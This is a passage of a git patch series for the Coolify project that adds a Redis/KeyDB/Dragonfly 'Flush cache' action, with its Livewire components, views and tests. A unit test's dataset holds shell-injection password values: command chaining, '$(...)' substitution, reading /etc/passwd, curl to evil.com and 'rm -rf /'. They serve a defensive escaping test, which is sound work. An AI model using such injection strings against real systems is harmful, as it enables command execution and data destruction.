a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3349,10 +3349,15 @@ class ApplicationsController extends Controller ], 422); } - $requestHasHttpBasicAuth = $request->has('is_http_basic_auth_enabled') - || $request->has('http_basic_auth_username') - || $request->has('http_basic_auth_password') - || $request->hasAny(['http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost']); + $requestHasHttpBasicAuth = $request->hasAny([ + 'is_http_basic_auth_enabled', + 'http_basic_auth_username', + 'http_basic_auth_password', + 'http_basic_auth_hash_algorithm', + 'http_basic_auth_bcrypt_cost', + 'http_basic_auth_argon2id_memory_cost', + 'http_basic_auth_argon2id_time_cost', + ]); if ($request->has('is_http_basic_auth_enabled') && $request->is_http_basic_auth_enabled === true) { if (blank($application->http_basic_auth_username) || blank($application->http_basic_auth_password)) { From 52cad11f344d1d4a8ae46161904422604513c259 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 26 Aug 2026 12:52:56 +0000 Subject: [PATCH 11/24] feat(database): add flush cache option for Redis, KeyDB and Dragonfly Adds a Flush cache action to the database heading for the three Redis-protocol cache databases. It runs FLUSHALL ASYNC inside the running container to clear all keys without stopping the container. The option is hidden for SQL/Mongo databases and only shown while the database is running. A confirmation modal requires typing the database name before flushing. The redis-cli password is shell-escaped to prevent command injection. --- app/Actions/Database/FlushCacheDatabase.php | 56 +++++++++++++++++++ app/Livewire/Project/Database/Heading.php | 29 ++++++++++ .../project/database/heading.blade.php | 27 +++++++++ tests/Unit/FlushCacheDatabaseCommandTest.php | 39 +++++++++++++ 4 files changed, 151 insertions(+) create mode 100644 app/Actions/Database/FlushCacheDatabase.php create mode 100644 tests/Unit/FlushCacheDatabaseCommandTest.php diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php new file mode 100644 index 0000000000..998d2cd5c8 --- /dev/null +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -0,0 +1,56 @@ +destination->server; + + if (! $server->isFunctional()) { + throw new \RuntimeException('Server is not functional.'); + } + + if (! $database->isRunning()) { + throw new \RuntimeException('Database is not running.'); + } + + $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database)); + + instant_remote_process(command: [$command], server: $server, throwError: true); + } + + /** + * Build the `redis-cli FLUSHALL ASYNC` command executed inside the running container. + * + * The command connects over the container's local plaintext port (available even when + * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The + * password is shell-escaped so it cannot break out of the argument and inject commands. + */ + public function buildFlushCommand(string $containerName, ?string $password): string + { + $redisCli = 'redis-cli'; + if (filled($password)) { + $redisCli .= ' -a '.escapeshellarg($password); + } + + return "docker exec {$containerName} {$redisCli} FLUSHALL ASYNC"; + } + + private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string + { + return match (true) { + $database instanceof StandaloneRedis => $database->redis_password, + $database instanceof StandaloneKeydb => $database->keydb_password, + $database instanceof StandaloneDragonfly => $database->dragonfly_password, + }; + } +} diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index a7e8cfedd8..354d9ed8d2 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -2,11 +2,15 @@ namespace App\Livewire\Project\Database; +use App\Actions\Database\FlushCacheDatabase; use App\Actions\Database\RestartDatabase; use App\Actions\Database\StartDatabase; use App\Actions\Database\StopDatabase; use App\Actions\Docker\GetContainersStatus; use App\Events\ServiceStatusChanged; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneRedis; use App\Support\ResourceStartActivity; use App\Traits\ListensToTeamChannel; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -146,6 +150,23 @@ class Heading extends Component } } + public function flush() + { + try { + $this->authorize('manage', $this->database); + + if (! $this->isCacheDatabase()) { + throw new \RuntimeException('This database type does not support cache flushing.'); + } + + FlushCacheDatabase::run($this->database); + $this->auditDatabaseAction('ui.database.flushed'); + $this->dispatch('success', 'Cache flushed successfully.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function restart() { try { @@ -192,9 +213,17 @@ class Heading extends Component 'checkboxes' => [ ['id' => 'docker_cleanup', 'label' => __('resource.docker_cleanup')], ], + 'isCacheDatabase' => $this->isCacheDatabase(), ]); } + private function isCacheDatabase(): bool + { + return $this->database instanceof StandaloneRedis + || $this->database instanceof StandaloneKeydb + || $this->database instanceof StandaloneDragonfly; + } + private function auditDatabaseAction(string $event): void { auditLog($event, [ diff --git a/resources/views/livewire/project/database/heading.blade.php b/resources/views/livewire/project/database/heading.blade.php index abf58177c7..43e6b5af4b 100644 --- a/resources/views/livewire/project/database/heading.blade.php +++ b/resources/views/livewire/project/database/heading.blade.php @@ -88,6 +88,13 @@ Restart + @if ($isCacheDatabase) + + @endif + @endif + @if ($isCacheDatabase) + + + + + + @endif
@endif diff --git a/tests/Unit/FlushCacheDatabaseCommandTest.php b/tests/Unit/FlushCacheDatabaseCommandTest.php new file mode 100644 index 0000000000..86982b457c --- /dev/null +++ b/tests/Unit/FlushCacheDatabaseCommandTest.php @@ -0,0 +1,39 @@ + ['pass; id > /tmp/pwned; echo'], + 'command substitution $()' => ['pass$(id > /tmp/pwned)'], + 'backtick substitution' => ['pass`id > /tmp/pwned`'], + 'pipe operator' => ['pass | cat /etc/passwd'], + 'background operator' => ['pass & curl http://evil.com'], + 'single quote breakout' => ["pass' ; rm -rf / ; '"], +]); + +test('flush command runs FLUSHALL ASYNC via docker exec against the container uuid', function () { + $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', 'secret'); + + expect($command)->toStartWith('docker exec abc123uuid redis-cli') + ->and($command)->toEndWith('FLUSHALL ASYNC') + ->and($command)->toContain("-a 'secret'"); +}); + +test('flush command omits the -a flag when no password is set', function () { + $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', null); + + expect($command)->toBe('docker exec abc123uuid redis-cli FLUSHALL ASYNC') + ->and($command)->not->toContain('-a'); +}); + +test('flush command shell-escapes the password so it cannot inject shell commands', function (string $malicious) { + $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', $malicious); + + // The password must appear only inside a single-quoted, escaped argument. + expect($command)->toContain(escapeshellarg($malicious)) + ->and($command)->toEndWith('FLUSHALL ASYNC'); + + // Strip the escaped password out; nothing dangerous may remain in the raw command. + $withoutPassword = str_replace(escapeshellarg($malicious), '', $command); + expect($withoutPassword)->toBe('docker exec abc123uuid redis-cli -a FLUSHALL ASYNC'); +})->with('malicious_passwords'); From e67b27040ff2a157780bb4a75ed3c77a68aa9b4e Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 26 Aug 2026 13:16:13 +0000 Subject: [PATCH 12/24] test(database): cover Heading::flush workflow; document sudo-parser limitation Addresses CodeRabbit review on #11513: - Add Livewire feature tests for Heading::flush() covering success + audit event, non-cache guard, denied manage permission, and menu visibility for cache vs non-cache databases. - Document the pre-existing parseCommandsByLineForSudo() limitation that mutates passwords containing shell sequences on non-root servers. --- app/Actions/Database/FlushCacheDatabase.php | 6 + tests/Feature/DatabaseFlushCacheTest.php | 126 ++++++++++++++++++++ 2 files changed, 132 insertions(+) create mode 100644 tests/Feature/DatabaseFlushCacheTest.php diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php index 998d2cd5c8..f5c8254978 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -34,6 +34,12 @@ class FlushCacheDatabase * The command connects over the container's local plaintext port (available even when * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The * password is shell-escaped so it cannot break out of the argument and inject commands. + * + * Note: on non-root servers the command passes through parseCommandsByLineForSudo(), + * which rewrites `$(`, ` | `, `&&` and `||` line-wide, so a password containing those + * sequences is mutated even inside the escaped quotes and the flush fails to authenticate. + * This is a limitation shared with every other password-carrying remote command in the + * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected. */ public function buildFlushCommand(string $containerName, ?string $password): string { diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php new file mode 100644 index 0000000000..a0a053a067 --- /dev/null +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -0,0 +1,126 @@ +withoutDefer(); + + InstanceSettings::forceCreate(['id' => 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $server = Server::factory()->create(['team_id' => $this->team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); + $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); +}); + +function makeRedis(mixed $environment, mixed $destination): StandaloneRedis +{ + return StandaloneRedis::create([ + 'name' => 'cache-redis', + 'image' => 'redis:7', + 'redis_password' => 'password', + 'redis_username' => 'default', + 'status' => 'running:healthy', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +test('flushes the cache of a running redis database and records an audit event', function () { + $redis = makeRedis($this->environment, $this->destination); + + FlushCacheDatabase::mock()->shouldReceive('handle')->once(); + + Livewire::test(Heading::class, ['database' => $redis]) + ->call('flush') + ->assertDispatched('success'); + + expect(AuditEvent::query() + ->where('event', 'ui.database.flushed') + ->where('resource_uuid', $redis->uuid) + ->exists())->toBeTrue(); +}); + +test('refuses to flush a non-cache database and does not run the action', function () { + $postgres = StandalonePostgresql::create([ + 'name' => 'app-postgres', + 'image' => 'postgres:16', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running:healthy', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + FlushCacheDatabase::mock()->shouldReceive('handle')->never(); + + Livewire::test(Heading::class, ['database' => $postgres]) + ->call('flush') + ->assertDispatched('error'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); +}); + +test('denies flushing to a member without manage permission', function () { + $redis = makeRedis($this->environment, $this->destination); + + $member = User::factory()->create(); + $this->team->members()->attach($member->id, ['role' => 'member']); + $this->actingAs($member); + session(['currentTeam' => $this->team]); + + FlushCacheDatabase::mock()->shouldReceive('handle')->never(); + + Livewire::test(Heading::class, ['database' => $redis]) + ->call('flush') + ->assertDispatched('error'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); +}); + +test('only cache databases expose the flush cache action in the heading', function () { + $redis = makeRedis($this->environment, $this->destination); + + Livewire::test(Heading::class, ['database' => $redis]) + ->assertSee('Flush cache'); + + $postgres = StandalonePostgresql::create([ + 'name' => 'app-postgres', + 'image' => 'postgres:16', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running:healthy', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + Livewire::test(Heading::class, ['database' => $postgres]) + ->assertDontSee('Flush cache'); +}); From 4429945da6db20a75fbadc6c4011c4053bad46db Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Tue, 8 Sep 2026 03:51:52 +0000 Subject: [PATCH 13/24] refactor(database): move flush cache from action menu to danger page Relocate the cache flush action out of the Heading dropdown into a dedicated FlushCache section on the database /danger page, shown only for Redis, KeyDB and Dragonfly. Keeps the shared Danger component free of cache-specific branches. Tests updated to target the new component. --- app/Livewire/Project/Database/FlushCache.php | 61 +++++++++++++++++ app/Livewire/Project/Database/Heading.php | 29 -------- .../project/database/configuration.blade.php | 3 + .../project/database/flush-cache.blade.php | 43 ++++++++++++ .../project/database/heading.blade.php | 27 -------- tests/Feature/DatabaseFlushCacheTest.php | 66 ++++++++++--------- 6 files changed, 142 insertions(+), 87 deletions(-) create mode 100644 app/Livewire/Project/Database/FlushCache.php create mode 100644 resources/views/livewire/project/database/flush-cache.blade.php diff --git a/app/Livewire/Project/Database/FlushCache.php b/app/Livewire/Project/Database/FlushCache.php new file mode 100644 index 0000000000..96bbe0b9c4 --- /dev/null +++ b/app/Livewire/Project/Database/FlushCache.php @@ -0,0 +1,61 @@ +authorize('view', $this->database); + } + + public function flush(): void + { + try { + $this->authorize('manage', $this->database); + + if (! $this->isCacheDatabase()) { + throw new \RuntimeException('This database type does not support cache flushing.'); + } + + FlushCacheDatabase::run($this->database); + $this->auditFlush(); + $this->dispatch('success', 'Cache flushed successfully.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + + public function isCacheDatabase(): bool + { + return $this->database instanceof StandaloneRedis + || $this->database instanceof StandaloneKeydb + || $this->database instanceof StandaloneDragonfly; + } + + private function auditFlush(): void + { + auditLog('ui.database.flushed', [ + 'team_id' => $this->database->team()?->id, + 'database_uuid' => $this->database->uuid, + 'database_name' => $this->database->name, + ]); + } + + public function render(): View + { + return view('livewire.project.database.flush-cache'); + } +} diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index 354d9ed8d2..a7e8cfedd8 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -2,15 +2,11 @@ namespace App\Livewire\Project\Database; -use App\Actions\Database\FlushCacheDatabase; use App\Actions\Database\RestartDatabase; use App\Actions\Database\StartDatabase; use App\Actions\Database\StopDatabase; use App\Actions\Docker\GetContainersStatus; use App\Events\ServiceStatusChanged; -use App\Models\StandaloneDragonfly; -use App\Models\StandaloneKeydb; -use App\Models\StandaloneRedis; use App\Support\ResourceStartActivity; use App\Traits\ListensToTeamChannel; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -150,23 +146,6 @@ class Heading extends Component } } - public function flush() - { - try { - $this->authorize('manage', $this->database); - - if (! $this->isCacheDatabase()) { - throw new \RuntimeException('This database type does not support cache flushing.'); - } - - FlushCacheDatabase::run($this->database); - $this->auditDatabaseAction('ui.database.flushed'); - $this->dispatch('success', 'Cache flushed successfully.'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - public function restart() { try { @@ -213,17 +192,9 @@ class Heading extends Component 'checkboxes' => [ ['id' => 'docker_cleanup', 'label' => __('resource.docker_cleanup')], ], - 'isCacheDatabase' => $this->isCacheDatabase(), ]); } - private function isCacheDatabase(): bool - { - return $this->database instanceof StandaloneRedis - || $this->database instanceof StandaloneKeydb - || $this->database instanceof StandaloneDragonfly; - } - private function auditDatabaseAction(string $event): void { auditLog($event, [ diff --git a/resources/views/livewire/project/database/configuration.blade.php b/resources/views/livewire/project/database/configuration.blade.php index 23778effa3..f7c290bd5d 100644 --- a/resources/views/livewire/project/database/configuration.blade.php +++ b/resources/views/livewire/project/database/configuration.blade.php @@ -53,6 +53,9 @@ @elseif ($currentRoute === 'project.database.tags') @elseif ($currentRoute === 'project.database.danger') + @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) + + @endif @endif diff --git a/resources/views/livewire/project/database/flush-cache.blade.php b/resources/views/livewire/project/database/flush-cache.blade.php new file mode 100644 index 0000000000..9de2ee5666 --- /dev/null +++ b/resources/views/livewire/project/database/flush-cache.blade.php @@ -0,0 +1,43 @@ +
+ +
+
+
+
+

Flush cache

+ +
+

+ Permanently erase every key in + {{ $database->name }} + by running FLUSHALL ASYNC inside the running container. +

+
    +
  • • All cached data is removed and cannot be recovered.
  • +
  • • The database container keeps running; only its data is cleared.
  • +
  • • The database must be running for this action to work.
  • +
+
+ +
+ @can('manage', $database) + + @else + + Flush cache + + @endcan +
+
+
+
+
diff --git a/resources/views/livewire/project/database/heading.blade.php b/resources/views/livewire/project/database/heading.blade.php index 43e6b5af4b..abf58177c7 100644 --- a/resources/views/livewire/project/database/heading.blade.php +++ b/resources/views/livewire/project/database/heading.blade.php @@ -88,13 +88,6 @@ Restart - @if ($isCacheDatabase) - - @endif - @endif - @if ($isCacheDatabase) - - - - - - @endif @endif diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php index a0a053a067..8c3e68d943 100644 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -1,7 +1,7 @@ 'app-postgres', + 'image' => 'postgres:16', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running:healthy', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + test('flushes the cache of a running redis database and records an audit event', function () { $redis = makeRedis($this->environment, $this->destination); FlushCacheDatabase::mock()->shouldReceive('handle')->once(); - Livewire::test(Heading::class, ['database' => $redis]) + Livewire::test(FlushCache::class, ['database' => $redis]) ->call('flush') ->assertDispatched('success'); @@ -65,21 +80,11 @@ test('flushes the cache of a running redis database and records an audit event', }); test('refuses to flush a non-cache database and does not run the action', function () { - $postgres = StandalonePostgresql::create([ - 'name' => 'app-postgres', - 'image' => 'postgres:16', - 'postgres_user' => 'coolify', - 'postgres_password' => 'password', - 'postgres_db' => 'coolify', - 'status' => 'running:healthy', - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => $this->destination->getMorphClass(), - ]); + $postgres = makePostgres($this->environment, $this->destination); FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - Livewire::test(Heading::class, ['database' => $postgres]) + Livewire::test(FlushCache::class, ['database' => $postgres]) ->call('flush') ->assertDispatched('error'); @@ -96,31 +101,30 @@ test('denies flushing to a member without manage permission', function () { FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - Livewire::test(Heading::class, ['database' => $redis]) + Livewire::test(FlushCache::class, ['database' => $redis]) ->call('flush') ->assertDispatched('error'); expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); }); -test('only cache databases expose the flush cache action in the heading', function () { +test('renders the flush cache card for a cache database', function () { $redis = makeRedis($this->environment, $this->destination); - Livewire::test(Heading::class, ['database' => $redis]) - ->assertSee('Flush cache'); + Livewire::test(FlushCache::class, ['database' => $redis]) + ->assertSee('Flush cache') + ->assertSee('FLUSHALL ASYNC'); +}); - $postgres = StandalonePostgresql::create([ - 'name' => 'app-postgres', - 'image' => 'postgres:16', - 'postgres_user' => 'coolify', - 'postgres_password' => 'password', - 'postgres_db' => 'coolify', - 'status' => 'running:healthy', - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => $this->destination->getMorphClass(), - ]); +test('the danger page wires the flush cache section only for cache database types', function () { + $source = file_get_contents(resource_path('views/livewire/project/database/configuration.blade.php')); - Livewire::test(Heading::class, ['database' => $postgres]) - ->assertDontSee('Flush cache'); + // The flush-cache component is rendered on the danger route, guarded to the three cache types. + expect($source) + ->toContain('project.database.flush-cache') + ->toMatch('/in_array\(\$database->type\(\), \[.*standalone-redis.*standalone-keydb.*standalone-dragonfly.*\]\)[\s\S]*project\.database\.flush-cache/'); + + // It must no longer live in the heading action menu. + $heading = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php')); + expect($heading)->not->toContain('Flush cache'); }); From dafba128b2c3eef0f730b55cde05d72c77728a01 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Tue, 8 Sep 2026 04:18:17 +0000 Subject: [PATCH 14/24] fix(database): fix spacing between flush cache and danger sections Wrap the flush-cache and danger livewire components in a flex column container so they're properly spaced on the database danger page. --- .../livewire/project/database/configuration.blade.php | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/resources/views/livewire/project/database/configuration.blade.php b/resources/views/livewire/project/database/configuration.blade.php index f7c290bd5d..397dbafe28 100644 --- a/resources/views/livewire/project/database/configuration.blade.php +++ b/resources/views/livewire/project/database/configuration.blade.php @@ -53,10 +53,12 @@ @elseif ($currentRoute === 'project.database.tags') @elseif ($currentRoute === 'project.database.danger') - @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) - - @endif - +
+ @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) + + @endif + +
@endif From f5b221e3f3ef113360c14530758b71587e7e5e45 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 23:07:04 +0200 Subject: [PATCH 15/24] fix(database): flush KeyDB and TLS Dragonfly and detect failed flushes --- app/Actions/Database/FlushCacheDatabase.php | 20 ++++++--- tests/Feature/DatabaseFlushCacheTest.php | 45 +++++++++++++++++---- 2 files changed, 52 insertions(+), 13 deletions(-) diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php index f5c8254978..0737b8a397 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -23,9 +23,18 @@ class FlushCacheDatabase throw new \RuntimeException('Database is not running.'); } - $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database)); + $cli = $database instanceof StandaloneKeydb ? 'keydb-cli' : 'redis-cli'; + if ($database instanceof StandaloneDragonfly && $database->enable_ssl) { + $cli .= ' --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'; + } - instant_remote_process(command: [$command], server: $server, throwError: true); + $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database), $cli); + + $output = instant_remote_process(command: [$command], server: $server, throwError: true); + + if ($output !== 'OK') { + throw new \RuntimeException($output ?: 'Failed to flush the database.'); + } } /** @@ -41,14 +50,13 @@ class FlushCacheDatabase * This is a limitation shared with every other password-carrying remote command in the * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected. */ - public function buildFlushCommand(string $containerName, ?string $password): string + public function buildFlushCommand(string $containerName, ?string $password, string $cli = 'redis-cli'): string { - $redisCli = 'redis-cli'; if (filled($password)) { - $redisCli .= ' -a '.escapeshellarg($password); + $cli .= ' -a '.escapeshellarg($password); } - return "docker exec {$containerName} {$redisCli} FLUSHALL ASYNC"; + return "docker exec {$containerName} {$cli} FLUSHALL ASYNC"; } private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php index 8c3e68d943..40862a4183 100644 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -5,14 +5,18 @@ use App\Livewire\Project\Database\FlushCache; use App\Models\AuditEvent; use App\Models\Environment; use App\Models\InstanceSettings; +use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server; use App\Models\StandaloneDocker; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Facades\Process; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -28,7 +32,11 @@ beforeEach(function () { $this->actingAs($this->user); session(['currentTeam' => $this->team]); - $server = Server::factory()->create(['team_id' => $this->team->id]); + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + 'user' => 'deploy', + ]); $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); $project = Project::factory()->create(['team_id' => $this->team->id]); @@ -64,19 +72,42 @@ function makePostgres(mixed $environment, mixed $destination): StandalonePostgre ]); } -test('flushes the cache of a running redis database and records an audit event', function () { - $redis = makeRedis($this->environment, $this->destination); +test('flushes every key with the engine CLI and records an audit event', function (string $model, array $attributes, string $cli) { + $database = $model::create([ + 'name' => 'cache', + 'image' => 'redis:7', + 'status' => 'running:healthy', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ...$attributes, + ]); + Process::fake(['*' => Process::result(output: 'OK')]); - FlushCacheDatabase::mock()->shouldReceive('handle')->once(); - - Livewire::test(FlushCache::class, ['database' => $redis]) + Livewire::test(FlushCache::class, ['database' => $database]) ->call('flush') ->assertDispatched('success'); + Process::assertRan(fn ($process) => str_contains($process->command, "sudo docker exec {$database->uuid} {$cli} FLUSHALL ASYNC")); expect(AuditEvent::query() ->where('event', 'ui.database.flushed') - ->where('resource_uuid', $redis->uuid) + ->where('resource_uuid', $database->uuid) ->exists())->toBeTrue(); +})->with([ + 'redis' => [StandaloneRedis::class, [], 'redis-cli'], + 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], "keydb-cli -a 'secret'"], + 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], "redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key -a 'secret'"], +]); + +test('reports an error when the database does not reply OK', function () { + $redis = makeRedis($this->environment, $this->destination); + Process::fake(['*' => Process::result(output: 'NOAUTH Authentication required.')]); + + Livewire::test(FlushCache::class, ['database' => $redis]) + ->call('flush') + ->assertDispatched('error', 'NOAUTH Authentication required.'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); }); test('refuses to flush a non-cache database and does not run the action', function () { From 1e70c73215912cbb04b0d56210db7b0783a02d6c Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 23:07:04 +0200 Subject: [PATCH 16/24] refactor(database): simplify flush command and drop password escaping --- app/Actions/Database/FlushCacheDatabase.php | 51 +++----------------- tests/Feature/DatabaseFlushCacheTest.php | 7 ++- tests/Unit/FlushCacheDatabaseCommandTest.php | 39 --------------- 3 files changed, 9 insertions(+), 88 deletions(-) delete mode 100644 tests/Unit/FlushCacheDatabaseCommandTest.php diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php index 0737b8a397..edf6bc811f 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -6,6 +6,7 @@ use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; use App\Models\StandaloneRedis; use Lorisleiva\Actions\Concerns\AsAction; +use RuntimeException; class FlushCacheDatabase { @@ -13,58 +14,18 @@ class FlushCacheDatabase public function handle(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): void { - $server = $database->destination->server; - - if (! $server->isFunctional()) { - throw new \RuntimeException('Server is not functional.'); - } - - if (! $database->isRunning()) { - throw new \RuntimeException('Database is not running.'); - } - $cli = $database instanceof StandaloneKeydb ? 'keydb-cli' : 'redis-cli'; if ($database instanceof StandaloneDragonfly && $database->enable_ssl) { $cli .= ' --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'; } - $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database), $cli); - - $output = instant_remote_process(command: [$command], server: $server, throwError: true); + $output = instant_remote_process( + ["docker exec {$database->uuid} sh -c 'REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'"], + $database->destination->server, + ); if ($output !== 'OK') { - throw new \RuntimeException($output ?: 'Failed to flush the database.'); + throw new RuntimeException($output ?: 'Failed to flush the database.'); } } - - /** - * Build the `redis-cli FLUSHALL ASYNC` command executed inside the running container. - * - * The command connects over the container's local plaintext port (available even when - * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The - * password is shell-escaped so it cannot break out of the argument and inject commands. - * - * Note: on non-root servers the command passes through parseCommandsByLineForSudo(), - * which rewrites `$(`, ` | `, `&&` and `||` line-wide, so a password containing those - * sequences is mutated even inside the escaped quotes and the flush fails to authenticate. - * This is a limitation shared with every other password-carrying remote command in the - * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected. - */ - public function buildFlushCommand(string $containerName, ?string $password, string $cli = 'redis-cli'): string - { - if (filled($password)) { - $cli .= ' -a '.escapeshellarg($password); - } - - return "docker exec {$containerName} {$cli} FLUSHALL ASYNC"; - } - - private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string - { - return match (true) { - $database instanceof StandaloneRedis => $database->redis_password, - $database instanceof StandaloneKeydb => $database->keydb_password, - $database instanceof StandaloneDragonfly => $database->dragonfly_password, - }; - } } diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php index 40862a4183..a8b38de4db 100644 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -76,7 +76,6 @@ test('flushes every key with the engine CLI and records an audit event', functio $database = $model::create([ 'name' => 'cache', 'image' => 'redis:7', - 'status' => 'running:healthy', 'environment_id' => $this->environment->id, 'destination_id' => $this->destination->id, 'destination_type' => $this->destination->getMorphClass(), @@ -88,15 +87,15 @@ test('flushes every key with the engine CLI and records an audit event', functio ->call('flush') ->assertDispatched('success'); - Process::assertRan(fn ($process) => str_contains($process->command, "sudo docker exec {$database->uuid} 